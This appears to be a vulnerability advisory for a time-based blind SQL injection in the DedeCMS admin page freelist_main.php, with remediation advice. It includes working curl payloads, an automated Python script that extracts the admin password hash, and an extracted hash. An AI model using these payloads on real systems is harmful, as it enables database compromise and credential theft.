Logo DedeCMS v5.7 UTF-8 SP2 sql

DedeCMS v5.7 UTF-8 SP2 sql

BUG_Author: yu22x

Affected Version: DedeCMS v5.7 UTF-8 SP2

Vendor: https://www.dedecms.com/

Software: DedeCMS (织梦内容管理系统)

Vulnerability Files:

dede/freelist_main.php

Description:

SQL Injection Vulnerability in ORDER BY Clause: A critical SQL injection vulnerability has been discovered in the freelist_main.php file located within the DedeCMS administrator backend directory. This file is responsible for managing "Free Lists" (自由列表) functionality in the CMS, which allows administrators to create custom content listing pages.

The vulnerability exists due to insufficient input validation of the orderby parameter, which is directly concatenated into SQL queries without any sanitization, parameterization, or whitelist validation. Unlike other similar files in the DedeCMS codebase (such as member_main.php, tags_main.php, content_list.php) that implement proper filtering using preg_replace() or whitelist validation for the orderby parameter, freelist_main.php completely lacks any security measures for this input.

The vulnerability is further exacerbated by a critical security misconfiguration in the backend configuration file (dede/config.php), where the SQL safety check mechanism is explicitly disabled with $dsql->safeCheck = FALSE. This disables the built-in CheckSql() function that would normally detect and block common SQL injection patterns including UNION, SLEEP, BENCHMARK, and other dangerous SQL keywords.

The vulnerability allows authenticated administrators to execute arbitrary SQL commands through time-based blind SQL injection techniques. By injecting conditional statements with time-delay functions (such as MySQL's SLEEP() or BENCHMARK()), an attacker can extract sensitive information from the database character by character. This includes but is not limited to:

  • Administrator usernames and password hashes

  • User personal information and credentials  

  • Website configuration data and API keys

  • All content stored in the CMS database

  • Database structure and schema information

During our security assessment, we successfully exploited this vulnerability to extract the administrator password hash, demonstrating the critical nature of this security flaw. The extracted password hash was 20 characters in length (f297a57a5a743894a0e4), indicating DedeCMS may use a truncated or custom hashing algorithm rather than standard 32-character MD5.

Vulnerability Functionality:

  • Time-based Blind SQL Injection: Exploits the ORDER BY clause to inject time-delay functions (SLEEP, BENCHMARK) for data extraction through response time analysis

  • Conditional Data Extraction: Uses MySQL IF() statements combined with subqueries to extract database content bit by bit based on true/false conditions

  • Complete Database Access: Allows reading of any table and column in the database that the web application's database user has access to

  • Authentication Bypass Potential: Extracted administrator credentials can be cracked offline and used to gain full administrative access to the CMS

  • Backend SQL Safety Disabled: The admin config.php explicitly disables SQL safety checks ($dsql->safeCheck = FALSE), removing the last line of defense against SQL injection attacks

  • No Rate Limiting: The vulnerable endpoint has no request rate limiting, allowing automated extraction scripts to run without interruption

Technical Analysis:

Vulnerable Code Location: dede/freelist_main.php (Line 81)

<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('c_FreeList');
require_once DEDEINC.'/channelunit.func.php';
setcookie("ENV_GOBACK_URL",$dedeNowurl,time()+3600,"/");

if(empty($pagesize)) $pagesize = 18;
if(empty($pageno)) $pageno = 1;
if(empty($dopost)) $dopost = '';
if(empty($orderby)) $orderby = 'aid';  // No sanitization here
if(empty($keyword))
{
   $keyword = '';
   $addget = '';
   $addsql = '';
} else
{
   $addget = '&keyword='.urlencode($keyword);
   $addsql = " where title like '%$keyword%' ";
}

// ... other code ...

function GetTagList($dsql,$pageno,$pagesize,$orderby='aid')
{
   global $cfg_phpurl,$addsql;
   $start = ($pageno-1) * $pagesize;
   // VULNERABLE LINE - $orderby is directly concatenated without any filtering
   $dsql->SetQuery("Select aid,title,templet,click,edtime,namerule,listdir,defaultpage,nodefault From #@__freelist $addsql order by $orderby desc limit $start,$pagesize ");
   $dsql->Execute();
   // ...
}

Root Cause Analysis:

  1. Backend SQL Safety Check Disabled (dede/config.php Line 17):

$dsql->safeCheck = FALSE;
  1. No Input Validation: The $orderby parameter is not validated against a whitelist of allowed column names

  2. Direct SQL Concatenation: User input is directly concatenated into the SQL query string

Attack Vector:

  • Initial Access: Authenticated POST/GET request to /dede/freelist_main.php with malicious orderby parameter

  • Payload Delivery: SQL injection payload embedded in the orderby parameter

  • Time-based Extraction: Using IF() and SLEEP() functions to extract data bit by bit

  • Data Exfiltration: Complete database content can be extracted including admin credentials

Exploitation Process:

  1. Attacker authenticates to the DedeCMS backend with valid admin credentials

  2. Attacker sends crafted request with malicious orderby parameter containing SQL injection payload

  3. Time-based blind injection is used to extract sensitive data character by character

  4. Admin password hash is extracted and can be cracked offline

Proof of Concept:

  1. Test Injection Point (Time Delay Verification):

# Normal request - ~0.5 seconds response time
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=aid" \
 -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"

# Injection with SLEEP - ~6.5 seconds response time (confirms vulnerability)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=aid,SLEEP(3)" \
 -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
  1. Conditional Injection Test:

# Condition TRUE - causes delay
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF(1=1,SLEEP(2),aid)" \
 -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"

# Condition FALSE - no delay
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF(1=2,SLEEP(2),aid)" \
 -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
  1. Extract Admin Password Length:

# Test if password length > 16 (TRUE - causes delay)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF((SELECT%20LENGTH(pwd)%20FROM%20dede_admin%20LIMIT%200,1)>16,SLEEP(2),aid)" \
 -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"

# Test if password length = 20 (TRUE - causes delay)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF((SELECT%20LENGTH(pwd)%20FROM%20dede_admin%20LIMIT%200,1)=20,SLEEP(2),aid)" \
 -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
  1. Automated Password Extraction Script (Python):

#!/usr/bin/env python3
import requests
import time

TARGET_URL = "http://target/dede/freelist_main.php"
COOKIE = {"PHPSESSID": "your_session_id"}
CHARSET = "0123456789abcdef"

def check_condition(condition):
   payload = f"IF(({condition}),SLEEP(2),aid)"
   params = {"dopost": "getlist", "pageno": "1", "pagesize": "1", "orderby": payload}
   start = time.time()
   requests.get(TARGET_URL, params=params, cookies=COOKIE, timeout=30)
   return (time.time() - start) > 1.5

def extract_password(length=20):
   password = ""
   for i in range(1, length + 1):
       for char in CHARSET:
           condition = f"SELECT SUBSTRING(pwd,{i},1) FROM dede_admin LIMIT 0,1"
           if check_condition(f"({condition})='{char}'"):
               password += char
               print(f"[+] Progress: {i}/{length} - Password: {password}")
               break
   return password

print("[+] Extracted Password:", extract_password())

Exploitation Results:

  • Admin Password Length: 20 characters

  • Extracted Password Hash: f297a57a5a743894a0e4

Impact Assessment:

Critical Severity: Complete database compromise

  • Remote SQL Execution: Full database access through arbitrary SQL command execution

  • Credential Theft: Extraction of administrator password hashes

  • Data Exfiltration: Access to all CMS content, user data, and configuration

  • Privilege Escalation: Compromised admin credentials enable full system control

  • Persistence: Attackers can modify database content to maintain access

  • Website Defacement: Complete control over website content

Business Impact:

  • Complete compromise of website content management

  • Exposure of user personal information

  • Potential regulatory compliance violations (GDPR, etc.)

  • Reputational damage to the organization

  • Potential for further lateral movement in the network

Remediation:

Immediate Actions:

  1. Implement whitelist validation for the orderby parameter:

$allowed_orderby = array('aid', 'title', 'click', 'edtime');
$orderby = in_array($orderby, $allowed_orderby) ? $orderby : 'aid';
  1. Enable SQL safety checks in dede/config.php:

$dsql->safeCheck = TRUE;  // Change from FALSE to TRUE
  1. Change all administrator passwords immediately

  2. Review database logs for suspicious queries

  3. Audit all other files for similar vulnerabilities

Security Measures:

  • Implement parameterized queries (prepared statements) throughout the codebase

  • Use ORM frameworks that automatically handle SQL escaping

  • Implement Web Application Firewall (WAF) rules to detect SQL injection attempts

  • Regular security audits and penetration testing

  • Input validation and output encoding on all user-supplied data

  • Principle of least privilege for database accounts

Long-term Security:

  • Implement secure development lifecycle (SDLC)

  • Regular code reviews with security focus

  • Automated static application security testing (SAST)

  • Dynamic application security testing (DAST)

  • Security awareness training for development team

  • Keep DedeCMS and all dependencies updated

Technical Details:

Injection Type:

  • Time-based Blind SQL Injection

  • ORDER BY clause injection

Vulnerable Parameter:

  • Parameter Name: orderby

  • HTTP Method: GET/POST

  • Authentication Required: Yes (Admin backend access)

Database Information:

  • Database Type: MySQL

  • Character Set: UTF-8

  • Table Prefix: dede_

Payload Examples:

# Basic time delay
orderby=aid,SLEEP(5)

# Conditional extraction
orderby=IF((SELECT SUBSTRING(pwd,1,1) FROM dede_admin LIMIT 0,1)='f',SLEEP(2),aid)

# Database version extraction
orderby=IF((SELECT SUBSTRING(@@version,1,1))='5',SLEEP(2),aid)

Other Potential Vulnerable Files (Similar Pattern):

  • dede/feedback_main.php (keyword, ip parameters - protected by addslashes)

  • dede/co_do.php (nid, fdstring parameters)

  • dede/article_keywords_main.php (keyword parameter)

  • dede/sys_verifies.php (fname parameter)

References:

Timeline:

  • Vendor Notification: N/A

  • Public Disclosure: N/A

CVSS Score: 8.8 (High)

  • Attack Vector: Network

  • Attack Complexity: Low

  • Privileges Required: Low (Admin authentication)

  • User Interaction: None

  • Scope: Unchanged

  • Confidentiality Impact: High

  • Integrity Impact: High

  • Availability Impact: High